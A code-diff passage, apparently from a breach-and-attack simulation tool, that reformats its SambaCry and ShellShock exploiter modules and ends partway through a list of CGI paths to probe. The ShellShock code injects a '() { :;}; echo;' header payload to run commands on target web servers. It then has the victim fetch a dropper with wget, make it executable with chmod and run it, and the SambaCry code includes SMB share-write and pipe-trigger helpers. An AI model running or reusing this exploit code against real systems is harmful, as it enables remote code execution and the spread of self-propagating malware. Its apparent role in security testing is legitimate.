[share_name], file_names)] + return [ + posixpath.join(*x) + for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names) + ] def get_monkey_runner_bin_file(self, is_32bit): if is_32bit: @@ -329,10 +400,12 @@ def get_monkey_runner_bin_file(self, is_32bit): return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb") def get_monkey_commandline_file(self, location): - return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, - get_monkey_depth() - 1, - SambaCryExploiter.SAMBA_PORT, - str(location))) + return BytesIO( + DROPPER_ARG + + build_monkey_commandline( + self.host, get_monkey_depth() - 1, SambaCryExploiter.SAMBA_PORT, str(location) + ) + ) @staticmethod def is_share_writable(smb_client, share): @@ -342,14 +415,14 @@ def is_share_writable(smb_client, share): :param share: share name :return: True if share is writable, False otherwise. """ - LOG.debug('Checking %s for write access' % share) + LOG.debug("Checking %s for write access" % share) try: tree_id = smb_client.connectTree(share) except (impacket.smbconnection.SessionError, SessionError): return False try: - smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) + smb_client.openFile(tree_id, "\\", FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) writable = True except (impacket.smbconnection.SessionError, SessionError): writable = False @@ -369,85 +442,103 @@ def connect_to_server(ip, credentials): """ smb_client = SMBConnection(ip, ip) smb_client.login( - credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"]) + credentials["username"], + credentials["password"], + "", + credentials["lm_hash"], + credentials["ntlm_hash"], + ) return smb_client # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # @staticmethod - def create_smb(smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, - fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, - oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): + def create_smb( + smb_client, + treeId, + fileName, + desiredAccess, + shareMode, + creationOptions, + creationDisposition, + fileAttributes, + impersonationLevel=SMB2_IL_IMPERSONATION, + securityFlags=0, + oplockLevel=SMB2_OPLOCK_LEVEL_NONE, + createContexts=None, + ): packet = smb_client.getSMBServer().SMB_PACKET() - packet['Command'] = SMB2_CREATE - packet['TreeID'] = treeId - if smb_client._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True: - packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS + packet["Command"] = SMB2_CREATE + packet["TreeID"] = treeId + if smb_client._SMBConnection._Session["TreeConnectTable"][treeId]["IsDfsShare"] is True: + packet["Flags"] = SMB2_FLAGS_DFS_OPERATIONS smb2Create = SMB2Create() - smb2Create['SecurityFlags'] = 0 - smb2Create['RequestedOplockLevel'] = oplockLevel - smb2Create['ImpersonationLevel'] = impersonationLevel - smb2Create['DesiredAccess'] = desiredAccess - smb2Create['FileAttributes'] = fileAttributes - smb2Create['ShareAccess'] = shareMode - smb2Create['CreateDisposition'] = creationDisposition - smb2Create['CreateOptions'] = creationOptions - - smb2Create['NameLength'] = len(fileName) * 2 - if fileName != '': - smb2Create['Buffer'] = fileName.encode('utf-16le') + smb2Create["SecurityFlags"] = 0 + smb2Create["RequestedOplockLevel"] = oplockLevel + smb2Create["ImpersonationLevel"] = impersonationLevel + smb2Create["DesiredAccess"] = desiredAccess + smb2Create["FileAttributes"] = fileAttributes + smb2Create["ShareAccess"] = shareMode + smb2Create["CreateDisposition"] = creationDisposition + smb2Create["CreateOptions"] = creationOptions + + smb2Create["NameLength"] = len(fileName) * 2 + if fileName != "": + smb2Create["Buffer"] = fileName.encode("utf-16le") else: - smb2Create['Buffer'] = b'\x00' + smb2Create["Buffer"] = b"\x00" if createContexts is not None: - smb2Create['Buffer'] += createContexts - smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength'] - smb2Create['CreateContextsLength'] = len(createContexts) + smb2Create["Buffer"] += createContexts + smb2Create["CreateContextsOffset"] = ( + len(SMB2Packet()) + SMB2Create.SIZE + smb2Create["NameLength"] + ) + smb2Create["CreateContextsLength"] = len(createContexts) else: - smb2Create['CreateContextsOffset'] = 0 - smb2Create['CreateContextsLength'] = 0 + smb2Create["CreateContextsOffset"] = 0 + smb2Create["CreateContextsLength"] = 0 - packet['Data'] = smb2Create + packet["Data"] = smb2Create packetID = smb_client.getSMBServer().sendSMB(packet) ans = smb_client.getSMBServer().recvSMB(packetID) if ans.isValidAnswer(STATUS_SUCCESS): - createResponse = SMB2Create_Response(ans['Data']) + createResponse = SMB2Create_Response(ans["Data"]) # The client MUST generate a handle for the Open, and it MUST # return success and the generated handle to the calling application. # In our case, str(FileID) - return str(createResponse['FileID']) + return str(createResponse["FileID"]) @staticmethod def open_pipe(smb_client, pathName): # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style # to make things easier for the caller. Not this time ;) - treeId = smb_client.connectTree('IPC$') - LOG.debug('Triggering path: %s' % pathName) + treeId = smb_client.connectTree("IPC$") + LOG.debug("Triggering path: %s" % pathName) if smb_client.getDialect() == SMB_DIALECT: _, flags2 = smb_client.getSMBServer().get_flags() - pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName + pathName = pathName.encode("utf-16le") if flags2 & SMB.FLAGS2_UNICODE else pathName ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX) - ntCreate['Parameters'] = SMBNtCreateAndX_Parameters() - ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2) - ntCreate['Parameters']['FileNameLength'] = len(pathName) - ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA - ntCreate['Parameters']['FileAttributes'] = 0 - ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ - ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE - ntCreate['Parameters']['CreateOptions'] = FILE_OPEN - ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION - ntCreate['Parameters']['SecurityFlags'] = 0 - ntCreate['Parameters']['CreateFlags'] = 0x16 - ntCreate['Data']['FileName'] = pathName + ntCreate["Parameters"] = SMBNtCreateAndX_Parameters() + ntCreate["Data"] = SMBNtCreateAndX_Data(flags=flags2) + ntCreate["Parameters"]["FileNameLength"] = len(pathName) + ntCreate["Parameters"]["AccessMask"] = FILE_READ_DATA + ntCreate["Parameters"]["FileAttributes"] = 0 + ntCreate["Parameters"]["ShareAccess"] = FILE_SHARE_READ + ntCreate["Parameters"]["Disposition"] = FILE_NON_DIRECTORY_FILE + ntCreate["Parameters"]["CreateOptions"] = FILE_OPEN + ntCreate["Parameters"]["Impersonation"] = SMB2_IL_IMPERSONATION + ntCreate["Parameters"]["SecurityFlags"] = 0 + ntCreate["Parameters"]["CreateFlags"] = 0x16 + ntCreate["Data"]["FileName"] = pathName if flags2 & SMB.FLAGS2_UNICODE: - ntCreate['Data']['Pad'] = 0x0 + ntCreate["Data"]["Pad"] = 0x0 return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) else: @@ -459,4 +550,5 @@ def open_pipe(smb_client, pathName): shareMode=FILE_SHARE_READ, creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, - fileAttributes=0) + fileAttributes=0, + ) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 4caa7441f48..11932c3f538 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -9,51 +9,58 @@ from common.utils.attack_utils import ScanStatus from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.shellshock_resources import CGI_FILES -from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import ( + build_monkey_commandline, + get_monkey_depth, + get_target_monkey, +) from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.model import DROPPER_ARG from infection_monkey.telemetry.attack.t1222_telem import T1222Telem -__author__ = 'danielg' +__author__ = "danielg" LOG = logging.getLogger(__name__) TIMEOUT = 2 -TEST_COMMAND = '/bin/uname -a' +TEST_COMMAND = "/bin/uname -a" DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder -LOCK_HELPER_FILE = '/tmp/monkey_shellshock' +LOCK_HELPER_FILE = "/tmp/monkey_shellshock" class ShellShockExploiter(HostExploiter): - _attacks = { - "Content-type": "() { :;}; echo; " - } + _attacks = {"Content-type": "() { :;}; echo; "} - _TARGET_OS_TYPE = ['linux'] - _EXPLOITED_SERVICE = 'Bash' + _TARGET_OS_TYPE = ["linux"] + _EXPLOITED_SERVICE = "Bash" def __init__(self, host): super(ShellShockExploiter, self).__init__(host) self.HTTP = [str(port) for port in self._config.HTTP_PORTS] - self.success_flag = ''.join( - choice(string.ascii_uppercase + string.digits - ) for _ in range(20)) + self.success_flag = "".join( + choice(string.ascii_uppercase + string.digits) for _ in range(20) + ) self.skip_exist = self._config.skip_exploit_if_file_exist def _exploit_host(self): # start by picking ports candidate_services = { - service: self.host.services[service] for service in self.host.services if - ('name' in self.host.services[service]) and (self.host.services[service]['name'] == 'http') + service: self.host.services[service] + for service in self.host.services + if ("name" in self.host.services[service]) + and (self.host.services[service]["name"] == "http") } - valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in self.HTTP if - 'tcp-' + str(port) in candidate_services] + valid_ports = [ + (port, candidate_services["tcp-" + str(port)]["data"][1]) + for port in self.HTTP + if "tcp-" + str(port) in candidate_services + ] http_ports = [port[0] for port in valid_ports if not port[1]] https_ports = [port[0] for port in valid_ports if port[1]] LOG.info( - 'Scanning %s, ports [%s] for vulnerable CGI pages' % ( - self.host, ",".join([str(port[0]) for port in valid_ports])) + "Scanning %s, ports [%s] for vulnerable CGI pages" + % (self.host, ",".join([str(port[0]) for port in valid_ports])) ) attackable_urls = [] @@ -69,39 +76,45 @@ def _exploit_host(self): exploitable_urls = [url for url in exploitable_urls if url[0] is True] # we want to report all vulnerable URLs even if we didn't succeed - self.exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls] + self.exploit_info["vulnerable_urls"] = [url[1] for url in exploitable_urls] # now try URLs until we install something on victim for _, url, header, exploit in exploitable_urls: LOG.info("Trying to attack host %s with %s URL" % (self.host, url)) # same attack script as sshexec # for any failure, quit and don't try other URLs - if not self.host.os.get('type'): + if not self.host.os.get("type"): try: - uname_os_attack = exploit + '/bin/uname -o' + uname_os_attack = exploit + "/bin/uname -o" uname_os = self.attack_page(url, header, uname_os_attack) - if 'linux' in uname_os: - self.host.os['type'] = 'linux' + if "linux" in uname_os: + self.host.os["type"] = "linux" else: LOG.info("SSH Skipping unknown os: %s", uname_os) return False except Exception as exc: LOG.debug("Error running uname os command on victim %r: (%s)", self.host, exc) return False - if not self.host.os.get('machine'): + if not self.host.os.get("machine"): try: - uname_machine_attack = exploit + '/bin/uname -m' + uname_machine_attack = exploit + "/bin/uname -m" uname_machine = self.attack_page(url, header, uname_machine_attack) - if '' != uname_machine: - self.host.os['machine'] = uname_machine.lower().strip() + if "" != uname_machine: + self.host.os["machine"] = uname_machine.lower().strip() except Exception as exc: - LOG.debug("Error running uname machine command on victim %r: (%s)", self.host, exc) + LOG.debug( + "Error running uname machine command on victim %r: (%s)", self.host, exc + ) return False # copy the monkey dropper_target_path_linux = self._config.dropper_target_path_linux - if self.skip_exist and (self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) + if self.skip_exist and ( + self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux) + ): + LOG.info( + "Host %s was already infected under the current configuration, done" % self.host + ) return True # return already infected src_path = get_target_monkey(self.host) @@ -119,12 +132,12 @@ def _exploit_host(self): LOG.debug("Exploiter ShellShock failed, http transfer creation failed.") return False - download_command = '/usr/bin/wget %s -O %s;' % ( - http_path, dropper_target_path_linux) + download_command = "/usr/bin/wget %s -O %s;" % (http_path, dropper_target_path_linux) download = exploit + download_command - self.attack_page(url, header, - download) # we ignore failures here since it might take more than TIMEOUT time + self.attack_page( + url, header, download + ) # we ignore failures here since it might take more than TIMEOUT time http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() @@ -132,30 +145,44 @@ def _exploit_host(self): self._remove_lock_file(exploit, url, header) if (http_thread.downloads != 1) or ( - 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): + "ELF" + not in self.check_remote_file_exists( + url, header, exploit, dropper_target_path_linux + ) + ): LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) continue # turn the monkey into an executable - chmod = '/bin/chmod +x %s' % dropper_target_path_linux + chmod = "/bin/chmod +x %s" % dropper_target_path_linux run_path = exploit + chmod self.attack_page(url, header, run_path) T1222Telem(ScanStatus.USED, chmod, self.host).send() # run the monkey cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) - cmdline += build_monkey_commandline(self.host, - get_monkey_depth() - 1, - HTTPTools.get_port_from_url(url), - dropper_target_path_linux) - cmdline += ' & ' + cmdline += build_monkey_commandline( + self.host, + get_monkey_depth() - 1, + HTTPTools.get_port_from_url(url), + dropper_target_path_linux, + ) + cmdline += " & " run_path = exploit + cmdline self.attack_page(url, header, run_path) - LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, self.host, cmdline) - - if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)): + LOG.info( + "Executed monkey '%s' on remote victim %r (cmdline=%r)", + self._config.dropper_target_path_linux, + self.host, + cmdline, + ) + + if not ( + self.check_remote_file_exists( + url, header, exploit, self._config.monkey_log_path_linux + ) + ): LOG.info("Log file does not exist, monkey might not have run") continue self.add_executed_cmd(cmdline) @@ -169,7 +196,7 @@ def check_remote_file_exists(cls, url, header, exploit, file_path): Checks if a remote file exists and returns the content if so file_path should be fully qualified """ - cmdline = '/usr/bin/head -c 4 %s' % file_path + cmdline = "/usr/bin/head -c 4 %s" % file_path run_path = exploit + cmdline resp = cls.attack_page(url, header, run_path) if resp: @@ -187,24 +214,24 @@ def attempt_exploit(self, url, attacks=None): LOG.debug("Trying exploit for %s" % url) for header, exploit in list(attacks.items()): - attack = exploit + ' echo ' + self.success_flag + "; " + TEST_COMMAND + attack = exploit + " echo " + self.success_flag + "; " + TEST_COMMAND result = self.attack_page(url, header, attack) if self.success_flag in result: LOG.info("URL %s looks vulnerable" % url) return True, url, header, exploit else: LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header)) - return False, + return (False,) def _create_lock_file(self, exploit, url, header): if self.check_remote_file_exists(url, header, exploit, LOCK_HELPER_FILE): return False - cmd = exploit + 'echo AAAA > %s' % LOCK_HELPER_FILE + cmd = exploit + "echo AAAA > %s" % LOCK_HELPER_FILE self.attack_page(url, header, cmd) return True def _remove_lock_file(self, exploit, url, header): - cmd = exploit + 'rm %s' % LOCK_HELPER_FILE + cmd = exploit + "rm %s" % LOCK_HELPER_FILE self.attack_page(url, header, cmd) @staticmethod @@ -213,7 +240,9 @@ def attack_page(url, header, attack): try: LOG.debug("Header is: %s" % header) LOG.debug("Attack is: %s" % attack) - r = requests.get(url, headers={header: attack}, verify=False, timeout=TIMEOUT) # noqa: DUO123 + r = requests.get( + url, headers={header: attack}, verify=False, timeout=TIMEOUT + ) # noqa: DUO123 result = r.content.decode() return result except requests.exceptions.RequestException as exc: @@ -226,9 +255,9 @@ def check_urls(host, port, is_https=False, url_list=CGI_FILES): Checks if which urls exist :return: Sequence of URLs to try and attack """ - attack_path = 'http://' + attack_path = "http://" if is_https: - attack_path = 'https://' + attack_path = "https://" attack_path = attack_path + str(host) + ":" + str(port) reqs = [] timeout = False @@ -240,7 +269,9 @@ def check_urls(host, port, is_https=False, url_list=CGI_FILES): timeout = True break if timeout: - LOG.debug("Some connections timed out while sending request to potentially vulnerable urls.") + LOG.debug( + "Some connections timed out while sending request to potentially vulnerable urls." + ) valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok] urls = [resp.url for resp in valid_resps] diff --git a/monkey/infection_monkey/exploit/shellshock_resources.py b/monkey/infection_monkey/exploit/shellshock_resources.py index 46851dde1fe..3a128b23ed3 100644 --- a/monkey/infection_monkey/exploit/shellshock_resources.py +++ b/monkey/infection_monkey/exploit/shellshock_resources.py @@ -2,407 +2,407 @@ # copied and transformed from https://github.com/nccgroup/shocker/blob/master/shocker-cgi_list CGI_FILES = ( - r'/', - r'/admin.cgi', - r'/administrator.cgi', - r'/agora.cgi', - r'/aktivate/cgi-bin/catgy.cgi', - r'/analyse.cgi', - r'/apps/web/vs_diag.cgi', - r'/axis-cgi/buffer/command.cgi', - r'/b2-include/b2edit.showposts.php', - r'/bandwidth/index.cgi', - r'/bigconf.cgi', - r'/cartcart.cgi', - r'/cart.cgi', - r'/ccbill/whereami.cgi', - r'/cgi-bin/14all-1.1.cgi', - r'/cgi-bin/14all.cgi', - r'/cgi-bin/a1disp3.cgi', - r'/cgi-bin/a1stats/a1disp3.cgi', - r'/cgi-bin/a1stats/a1disp4.cgi', - r'/cgi-bin/addbanner.cgi', - r'/cgi-bin/add_ftp.cgi', - r'/cgi-bin/adduser.cgi', - r'/cgi-bin/admin/admin.cgi', - r'/cgi-bin/admin.cgi', - r'/cgi-bin/admin/getparam.cgi', - r'/cgi-bin/adminhot.cgi', - r'/cgi-bin/admin.pl', - r'/cgi-bin/admin/setup.cgi', - r'/cgi-bin/adminwww.cgi', - r'/cgi-bin/af.cgi', - r'/cgi-bin/aglimpse.cgi', - r'/cgi-bin/alienform.cgi', - r'/cgi-bin/AnyBoard.cgi', - r'/cgi-bin/architext_query.cgi', - r'/cgi-bin/astrocam.cgi', - r'/cgi-bin/AT-admin.cgi', - r'/cgi-bin/AT-generate.cgi', - r'/cgi-bin/auction/auction.cgi', - r'/cgi-bin/auktion.cgi', - r'/cgi-bin/ax-admin.cgi', - r'/cgi-bin/ax.cgi', - r'/cgi-bin/axs.cgi', - r'/cgi-bin/badmin.cgi', - r'/cgi-bin/banner.cgi', - r'/cgi-bin/bannereditor.cgi', - r'/cgi-bin/bb-ack.sh', - r'/cgi-bin/bb-histlog.sh', - r'/cgi-bin/bb-hist.sh', - r'/cgi-bin/bb-hostsvc.sh', - r'/cgi-bin/bb-replog.sh', - r'/cgi-bin/bb-rep.sh', - r'/cgi-bin/bbs_forum.cgi', - r'/cgi-bin/bigconf.cgi', - r'/cgi-bin/bizdb1-search.cgi', - r'/cgi-bin/blog/mt-check.cgi', - r'/cgi-bin/blog/mt-load.cgi', - r'/cgi-bin/bnbform.cgi', - r'/cgi-bin/book.cgi', - r'/cgi-bin/boozt/admin/index.cgi', - r'/cgi-bin/bsguest.cgi', - r'/cgi-bin/bslist.cgi', - r'/cgi-bin/build.cgi', - r'/cgi-bin/bulk/bulk.cgi', - r'/cgi-bin/cached_feed.cgi', - r'/cgi-bin/cachemgr.cgi', - r'/cgi-bin/calendar/index.cgi', - r'/cgi-bin/cartmanager.cgi', - r'/cgi-bin/cbmc/forums.cgi', - r'/cgi-bin/ccvsblame.cgi', - r'/cgi-bin/c_download.cgi', - r'/cgi-bin/cgforum.cgi', - r'/cgi-bin/.cgi', - r'/cgi-bin/cgi_process', - r'/cgi-bin/classified.cgi', - r'/cgi-bin/classifieds.cgi', - r'/cgi-bin/classifieds/classifieds.cgi', - r'/cgi-bin/classifieds/index.cgi', - r'/cgi-bin/.cobalt/alert/service.cgi', - r'/cgi-bin/.cobalt/message/message.cgi', - r'/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi', - r'/cgi-bin/commandit.cgi', - r'/cgi-bin/commerce.cgi', - r'/cgi-bin/common/listrec.pl', - r'/cgi-bin/compatible.cgi', - r'/cgi-bin/Count.cgi', - r'/cgi-bin/csChatRBox.cgi', - r'/cgi-bin/csGuestBook.cgi', - r'/cgi-bin/csLiveSupport.cgi', - r'/cgi-bin/CSMailto.cgi', - r'/cgi-bin/CSMailto/CSMailto.cgi', - r'/cgi-bin/csNews.cgi', - r'/cgi-bin/csNewsPro.cgi', - r'/cgi-bin/csPassword.cgi', - r'/cgi-bin/csPassword/csPassword.cgi', - r'/cgi-bin/csSearch.cgi', - r'/cgi-bin/csv_db.cgi', - r'/cgi-bin/cvsblame.cgi', - r'/cgi-bin/cvslog.cgi', - r'/cgi-bin/cvsquery.cgi', - r'/cgi-bin/cvsqueryform.cgi', - r'/cgi-bin/day5datacopier.cgi', - r'/cgi-bin/day5datanotifier.cgi', - r'/cgi-bin/db_manager.cgi', - r'/cgi-bin/dbman/db.cgi', - r'/cgi-bin/dcforum.cgi', - r'/cgi-bin/dcshop.cgi', - r'/cgi-bin/dfire.cgi', - r'/cgi-bin/diagnose.cgi', - r'/cgi-bin/dig.cgi', - r'/cgi-bin/directorypro.cgi', - r'/cgi-bin/download.cgi', - r'/cgi-bin/e87_Ba79yo87.cgi', - r'/cgi-bin/emu/html/emumail.cgi', - r'/cgi-bin/emumail.cgi', - r'/cgi-bin/emumail/emumail.cgi', - r'/cgi-bin/enter.cgi', - r'/cgi-bin/environ.cgi', - r'/cgi-bin/ezadmin.cgi', - r'/cgi-bin/ezboard.cgi', - r'/cgi-bin/ezman.cgi', - r'/cgi-bin/ezshopper2/loadpage.cgi', - r'/cgi-bin/ezshopper3/loadpage.cgi', - r'/cgi-bin/ezshopper/loadpage.cgi', - r'/cgi-bin/ezshopper/search.cgi', - r'/cgi-bin/faqmanager.cgi', - r'/cgi-bin/FileSeek2.cgi', - r'/cgi-bin/FileSeek.cgi', - r'/cgi-bin/finger.cgi', - r'/cgi-bin/flexform.cgi', - r'/cgi-bin/fom.cgi', - r'/cgi-bin/fom/fom.cgi', - r'/cgi-bin/FormHandler.cgi', - r'/cgi-bin/FormMail.cgi', - r'/cgi-bin/gbadmin.cgi', - r'/cgi-bin/gbook/gbook.cgi', - r'/cgi-bin/generate.cgi', - r'/cgi-bin/getdoc.cgi', - r'/cgi-bin/gH.cgi', - r'/cgi-bin/gm-authors.cgi', - r'/cgi-bin/gm.cgi', - r'/cgi-bin/gm-cplog.cgi', - r'/cgi-bin/guestbook.cgi', - r'/cgi-bin/handler', - r'/cgi-bin/handler.cgi', - r'/cgi-bin/handler/netsonar', - r'/cgi-bin/hitview.cgi', - r'/cgi-bin/hsx.cgi', - r'/cgi-bin/html2chtml.cgi', - r'/cgi-bin/html2wml.cgi', - r'/cgi-bin/htsearch.cgi', - r'/cgi-bin/hw.sh', # testing - r'/cgi-bin/icat', - r'/cgi-bin/if/admin/nph-build.cgi', - r'/cgi-bin/ikonboard/help.cgi', - r'/cgi-bin/ImageFolio/admin/admin.cgi', - r'/cgi-bin/imageFolio.cgi', - r'/cgi-bin/index.cgi', - r'/cgi-bin/infosrch.cgi', - r'/cgi-bin/jammail.pl', - r'/cgi-bin/journal.cgi', - r'/cgi-bin/lastlines.cgi', - r'/cgi-bin/loadpage.cgi', - r'/cgi-bin/login.cgi', - r'/cgi-bin/logit.cgi', - r'/cgi-bin/log-reader.cgi', - r'/cgi-bin/lookwho.cgi', - r'/cgi-bin/lwgate.cgi', - r'/cgi-bin/MachineInfo', - r'/cgi-bin/MachineInfo', - r'/cgi-bin/magiccard.cgi', - r'/cgi-bin/mail/emumail.cgi', - r'/cgi-bin/maillist.cgi', - r'/cgi-bin/mailnews.cgi', - r'/cgi-bin/mail/nph-mr.cgi', - r'/cgi-bin/main.cgi', - r'/cgi-bin/main_menu.pl', - r'/cgi-bin/man.sh', - r'/cgi-bin/mini_logger.cgi', - r'/cgi-bin/mmstdod.cgi', - r'/cgi-bin/moin.cgi', - r'/cgi-bin/mojo/mojo.cgi', - r'/cgi-bin/mrtg.cgi', - r'/cgi-bin/mt.cgi', - r'/cgi-bin/mt/mt.cgi', - r'/cgi-bin/mt/mt-check.cgi', - r'/cgi-bin/mt/mt-load.cgi', - r'/cgi-bin/mt-static/mt-check.cgi', - r'/cgi-bin/mt-static/mt-load.cgi', - r'/cgi-bin/musicqueue.cgi', - r'/cgi-bin/myguestbook.cgi', - r'/cgi-bin/.namazu.cgi', - r'/cgi-bin/nbmember.cgi', - r'/cgi-bin/netauth.cgi', - r'/cgi-bin/netpad.cgi', - r'/cgi-bin/newsdesk.cgi', - r'/cgi-bin/nlog-smb.cgi', - r'/cgi-bin/nph-emumail.cgi', - r'/cgi-bin/nph-exploitscanget.cgi', - r'/cgi-bin/nph-publish.cgi', - r'/cgi-bin/nph-test.cgi', - r'/cgi-bin/pagelog.cgi', - r'/cgi-bin/pbcgi.cgi', - r'/cgi-bin/perlshop.cgi', - r'/cgi-bin/pfdispaly.cgi', - r'/cgi-bin/pfdisplay.cgi', - r'/cgi-bin/phf.cgi', - r'/cgi-bin/photo/manage.cgi', - r'/cgi-bin/photo/protected/manage.cgi', - r'/cgi-bin/php-cgi', - r'/cgi-bin/php.cgi', - r'/cgi-bin/php.fcgi', - r'/cgi-bin/ping.sh', - r'/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi', - r'/cgi-bin/pollssi.cgi', - r'/cgi-bin/postcards.cgi', - r'/cgi-bin/powerup/r.cgi', - r'/cgi-bin/printenv', - r'/cgi-bin/probecontrol.cgi', - r'/cgi-bin/profile.cgi', - r'/cgi-bin/publisher/search.cgi', - r'/cgi-bin/quickstore.cgi', - r'/cgi-bin/quizme.cgi', - r'/cgi-bin/ratlog.cgi', - r'/cgi-bin/r.cgi', - r'/cgi-bin/register.cgi', - r'/cgi-bin/replicator/webpage.cgi/', - r'/cgi-bin/responder.cgi', - r'/cgi-bin/robadmin.cgi', - r'/cgi-bin/robpoll.cgi', - r'/cgi-bin/rtpd.cgi', - r'/cgi-bin/sbcgi/sitebuilder.cgi', - r'/cgi-bin/scoadminreg.cgi', - r'/cgi-bin-sdb/printenv', - r'/cgi-bin/sdbsearch.cgi', - r'/cgi-bin/search', - r'/cgi-bin/search.cgi', - r'/cgi-bin/search/search.cgi', - r'/cgi-bin/sendform.cgi', - r'/cgi-bin/shop.cgi', - r'/cgi-bin/shopper.cgi', - r'/cgi-bin/shopplus.cgi', - r'/cgi-bin/showcheckins.cgi', - r'/cgi-bin/simplestguest.cgi', - r'/cgi-bin/simplestmail.cgi', - r'/cgi-bin/smartsearch.cgi', - r'/cgi-bin/smartsearch/smartsearch.cgi', - r'/cgi-bin/snorkerz.bat', - r'/cgi-bin/snorkerz.bat', - r'/cgi-bin/snorkerz.cmd', - r'/cgi-bin/snorkerz.cmd', - r'/cgi-bin/sojourn.cgi', - r'/cgi-bin/spin_client.cgi', - r'/cgi-bin/start.cgi', - r'/cgi-bin/status', - r'/cgi-bin/status_cgi', - r'/cgi-bin/store/agora.cgi', - r'/cgi-bin/store.cgi', - r'/cgi-bin/store/index.cgi', - r'/cgi-bin/survey.cgi', - r'/cgi-bin/sync.cgi', - r'/cgi-bin/talkback.cgi', - r'/cgi-bin/technote/main.cgi', - r'/cgi-bin/test2.pl', - r'/cgi-bin/test-cgi', - r'/cgi-bin/test.cgi', - r'/cgi-bin/testing_whatever', - r'/cgi-bin/test/test.cgi', - r'/cgi-bin/tidfinder.cgi', - r'/cgi-bin/tigvote.cgi', - r'/cgi-bin/title.cgi', - r'/cgi-bin/top.cgi', - r'/cgi-bin/traffic.cgi', - r'/cgi-bin/troops.cgi', - r'/cgi-bin/ttawebtop.cgi/', - r'/cgi-bin/ultraboard.cgi', - r'/cgi-bin/upload.cgi', - r'/cgi-bin/urlcount.cgi', - r'/cgi-bin/viewcvs.cgi', - r'/cgi-bin/view_help.cgi', - r'/cgi-bin/viralator.cgi', - r'/cgi-bin/virgil.cgi', - r'/cgi-bin/vote.cgi', - r'/cgi-bin/vpasswd.cgi', - r'/cgi-bin/way-board.cgi', - r'/cgi-bin/way-board/way-board.cgi', - r'/cgi-bin/webbbs.cgi', - r'/cgi-bin/webcart/webcart.cgi', - r'/cgi-bin/webdist.cgi', - r'/cgi-bin/webif.cgi', - r'/cgi-bin/webmail/html/emumail.cgi', - r'/cgi-bin/webmap.cgi', - r'/cgi-bin/webspirs.cgi', - r'/cgi-bin/Web_Store/web_store.cgi', - r'/cgi-bin/whois.cgi', - r'/cgi-bin/whois_raw.cgi', - r'/cgi-bin/whois/whois.cgi', - r'/cgi-bin/wrap', - r'/cgi-bin/wrap.cgi', - r'/cgi-bin/wwwboard.cgi.cgi', - r'/cgi-bin/YaBB/YaBB.cgi', - r'/cgi-bin/zml.cgi', - r'/cgi-mod/index.cgi', - r'/cgis/wwwboard/wwwboard.cgi', - r'/cgi-sys/addalink.cgi', - r'/cgi-sys/defaultwebpage.cgi', - r'/cgi-sys/domainredirect.cgi', - r'/cgi-sys/entropybanner.cgi', - r'/cgi-sys/entropysearch.cgi', - r'/cgi-sys/FormMail-clone.cgi', - r'/cgi-sys/helpdesk.cgi', - r'/cgi-sys/mchat.cgi', - r'/cgi-sys/randhtml.cgi', - r'/cgi-sys/realhelpdesk.cgi', - r'/cgi-sys/realsignup.cgi', - r'/cgi-sys/signup.cgi', - r'/connector.cgi', - r'/cp/rac/nsManager.cgi', - r'/create_release.sh', - r'/CSNews.cgi', - r'/csPassword.cgi', - r'/dcadmin.cgi', - r'/dcboard.cgi', - r'/dcforum.cgi', - r'/dcforum/dcforum.cgi', - r'/debuff.cgi', - r'/debug.cgi', - r'/details.cgi', - r'/edittag/edittag.cgi', - r'/emumail.cgi', - r'/enter_buff.cgi', - r'/enter_bug.cgi', - r'/ez2000/ezadmin.cgi', - r'/ez2000/ezboard.cgi', - r'/ez2000/ezman.cgi', - r'/fcgi-bin/echo', - r'/fcgi-bin/echo', - r'/fcgi-bin/echo2', - r'/fcgi-bin/echo2', - 